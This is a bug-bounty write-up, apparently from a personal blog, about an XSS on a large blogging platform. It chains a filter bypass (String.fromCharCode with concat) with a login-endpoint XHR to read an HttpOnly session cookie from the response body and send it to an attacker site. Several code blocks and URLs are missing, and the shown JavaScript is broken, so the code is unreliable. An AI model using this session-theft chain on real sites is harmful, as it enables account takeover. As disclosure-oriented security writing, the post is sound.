Stealing HttpOnly Cookie via XSS


It’s very rarely that i write about my findings , But i decided to share this which may help you while writing pocs.

First to be honest i’m one of the laziest hackers , i run my own scripts and common tools like wfuzz, sublister , nmap , etc and watch a random movie after the movie is finished i remember those who are running.

I was fuzzing for common directories on a private website let’me call it is a popular platform for blogging and it has more than 500 Million users.

As usual , i ran Wfuzz with a wordlist

wfuzz -c -z file,/root/Desktop/common-list --hc 404,400,302

I was surprised to see the server returned

200 OK for the following end-point


When i requested this end-point in my browser , i was seeing my own account settings , i tried to view the source code of the website and concluded that the ‘server’ string was returned inside a script tag;

var user = ‘server’;

of course a very simple payload would be :


so the full url would be :‘-alert(2)-’

Boom , this is a very simple XSS,lucky ! :D


Hi Team
I found an xss at‘-alert(2)-’
happy fixing.

Yes , i love reporting very simple issues without further investigating , but this time the team was unresponsive so i decided to get some attentions .

One of the interesting points for me is the login .

From my previous investigation , i found the login end-point was returning session cookie in the

set-cookie Header

in Response body

If you tried to log in

POST  /Account/Login HTTP/1.1

The response would be :

HTTP/1.1 200 OK

The session cookie is marked as httpOnly So javascript would not access it

But the session is returned in response body , Javascript would not access the cookie but it can access the response body and get the protected cookie .

So to get the cookie , you need to issue a post request as login .and fetch the response body:

POST  /Account/Login HTTP/1.1

Are you kidding ? how would you get the email and password.

I tried to issue a csrf request to the login end-point without any body parameters

POST  /Account/Login HTTP/1.1
Cookie: session=xz4z5cxz4c56zx4c6x5zc46z5xczx46cx4zc6xz4czxc;

And wow !

I was lucky the server was returning the same data in response body:

HTTP/1.1 200 OK

Yeah ,The plan goes well.

  • Issue an XHR request to login end-point
  • Server returns sesssion id in response body
  • Fetch the body and steal the session.

here is the complete JS code to steal the cookie

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4)

prompt('You are hacked , your session='+xhr.response);}
}'POST', '/account/login',true);
xhr.withCredentials = true;

Encoding and sending the payload failed :( , most special characters were filtered :


For me the following characters were enough to achieve my goal :


We need to convert all special characters to String.fromCharCode(ascii)

for a space = 32


for a comma = 44


so for alert(1337) the payload would be :

eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 51, 51, 55, 41 ))

Hold on , the , comma was filtered , the payload again will fail , we need another trick ,my jascript skills are not so good

I tried to search google for

javascript string concatenation

And found concat()

So instead of separating chars we can concatenate them using .concat()

for example if we need to pass a,b

we can concatenate b with a using:


Of course this trick will not be used for alphabetical chars, it will be used for the special characters which the application sanitizes like


So using concat and String.fromCharCode we can execute whatever JS code

i decided to test the following payload


This was too boring to do it manually so i decided to write a python script to make it easier :

saving the payload to a file named payload.txt and executing the following command

python payload.txt

Resulted in generating :


This generated payload is considered as a single string and would not be filtered by the application , so we can pass it to evaland execute it

in his case i needed this payload to be written in the document.

So that i will use document.write(my_payload)

instead of eval Anyone can use whatever function.

so our final payload would be :`-dcument.write( <<generated-payload-by-python-script>>)'-

Succeeded :D , let’s try a real world payload :

$cat myrealworldpayload.txt


var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() { if (xhr.readyState == 4)
{prompt('You are hacked , your session='+xhr.response);}}'POST', '/account/login', true);

And python script generated the following :

python myrealworldpayload.txt

Output >


Now replace the xxxxxxxxxxxxxxin the following url with the generated payload :`-dcument.write( <<xxxxxxxxxxxxx>>)'-

The payload was too long and so the url , but does not matter it works :

And i was able to steal the cookie.

Cookie leaked to attacker’s site

Conclusion :

What my real poc which i sent to the team does ?

  • The payload first get’s echoed inside a script tag.
  • The payload executes first as a mathematical operation since i used ‘- as subtraction operation , which first will add the full malicious payload to the document to be executed without filtration.
  • The malicious payload executes and issues a POST request and fetches the response to extract the session id and sends it to attacker website which later will prompt it as in the above image.
  • The attacker website receives the stolen session id and log it.

To learn:

  • Think in the box :D
  • Chain bugs for higher impact.
  • Never stop searching


  • 4–2–2018 Reported
  • 5–2–2018 Triaged

The bounty was frustrating :(